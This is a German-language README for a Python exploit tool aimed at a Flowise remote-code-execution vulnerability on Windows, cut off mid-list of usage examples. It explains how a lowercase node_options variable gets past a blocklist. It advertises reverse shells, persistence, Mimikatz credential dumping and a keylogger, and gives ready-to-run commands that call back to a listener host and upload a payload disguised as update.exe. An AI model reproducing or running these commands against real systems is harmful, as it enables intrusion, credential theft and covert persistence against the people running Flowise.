Flowise CVE-2026-58057 - Windows-Exploit für Remote-Code-Ausführung

📋 Übersicht

Dies ist ein produktionsreifer Exploit für CVE-2026-58057, eine kritische Schwachstelle zur Remote-Code-Ausführung in Flowise auf Windows-Plattformen. Die Schwachstelle entsteht durch eine case-sensitive Validierung von Umgebungsvariablen, die kleingeschriebenes node_options nicht blockiert, sodass Angreifer die NODE_OPTIONS-Blocklist umgehen und über die Custom-MCP-stdio-Konfiguration beliebigen Code ausführen können.

Der Exploit demonstriert professionelle Softwareentwicklungspraktiken mit modularer Architektur, umfassender Fehlerbehandlung und Unterstützung für mehrere Payload-Typen.

⚠️ Haftungsausschluss

WICHTIG: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Penetrationstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie immer eine ordnungsgemäße Genehmigung ein, bevor Sie ein System testen.

🔍 Technische Details

Grundursache der Schwachstelle

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

Exploit-Mechanismus

1. Der Angreifer authentifiziert sich bei Flowise
2. Erstellt/ändert einen Custom-MCP-stdio-Knoten
3. Injiziert die Umgebungsvariable node_options in Kleinbuchstaben
4. Setzt den Wert auf --require malicious-loader.js
5. Node.js führt den Loader aus, wenn MCP stdio ausgeführt wird
6. Beliebige Codeausführung erreicht

✨ Funktionen

Kernfunktionen

• ✅ Reverse Shell - Stellt eine Verbindung zurück zum Angreifer-Rechner her
• ✅ Bind Shell - Öffnet einen lauschenden Port auf dem Ziel
• ✅ Befehlsausführung - Führt beliebige Systembefehle aus
• ✅ Datei-Upload - Lädt Dateien auf das Zielsystem hoch
• ✅ Persistenz - Mehrere Persistenzmechanismen
• ✅ Informationssammlung - Sammelt Systeminformationen
• ✅ Credential-Dumping - Mimikatz-Integration
• ✅ Screenshot-Erfassung - Macht Desktop-Screenshots
• ✅ Keylogger - Installiert eine Keylogger-Funktion

Technische Funktionen

• 🔐 Mehrere Authentifizierungsmethoden - API-Schlüssel oder Benutzername/Passwort
• 🔄 Automatische Wiederholungslogik - Robust gegenüber Netzwerkproblemen
• 🧹 Selbstreinigend - Entfernt Loader-Dateien vom Ziel
• 🌐 Plattformübergreifend - Funktioniert unter Windows/Linux/macOS
• 🎨 Farbige Ausgabe - Verbesserte Lesbarkeit
• 📊 Ausführliches Debugging - Detaillierte Protokollierung zur Fehlersuche

📦 Installation

Voraussetzungen

• Python 3.6 oder höher
• pip (Python-Paketmanager)

Schnellinstallation

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

Docker-Installation (Optional )

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

🚀 Verwendung

Befehlszeilenoptionen

python3 exploit.py --help

Authentifizierungsoptionen

Option	Beschreibung	Beispiel
-t, --target	Flowise-URL (erforderlich)	http://localhost:3000
-k, --api-key	Flowise-API-Schlüssel	flowise_abc123...
-u, --username	Benutzername	admin
-p, --password	Passwort	password123

Payload-Optionen

Option	Beschreibung	Beispiel
--payload	Payload-Typ	reverse_shell
--lhost	Listener-Host	192.168.1.100
--lport	Listener-Port	4444
--command	Auszuführender Befehl	whoami
--local-file	Hochzuladende Datei	payload.exe
--remote-path	Remote-Speicherpfad	C:\\Temp\\update.exe

Ausführungsoptionen

Option	Beschreibung
--interactive	Interaktive Shell starten
--verbose	Debug-Ausgabe aktivieren
--timeout	Anfrage-Timeout in Sekunden
--retries	Anzahl der Wiederholungsversuche

📝 Anwendungsbeispiele

1. Einfache Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444

2. Interaktive Reverse Shell

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload reverse_shell \
    --lhost 192.168.1.50 \
    --lport 4444 \
    --interactive

3. Befehlsausführung

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload command_exec \
    --command "whoami"

4. Datei-Upload

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload file_upload \
    --local-file /path/to/payload.exe \
    --remote-path "C:\\ProgramData\\update.exe"

5. Credential-Dumping (Mimikatz )

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload mimikatz

6. Persistenz-Installation

python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
    --payload persistence

7. Informationssammlung

python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
    --payload info_gather

8. Screenshot-Erfassung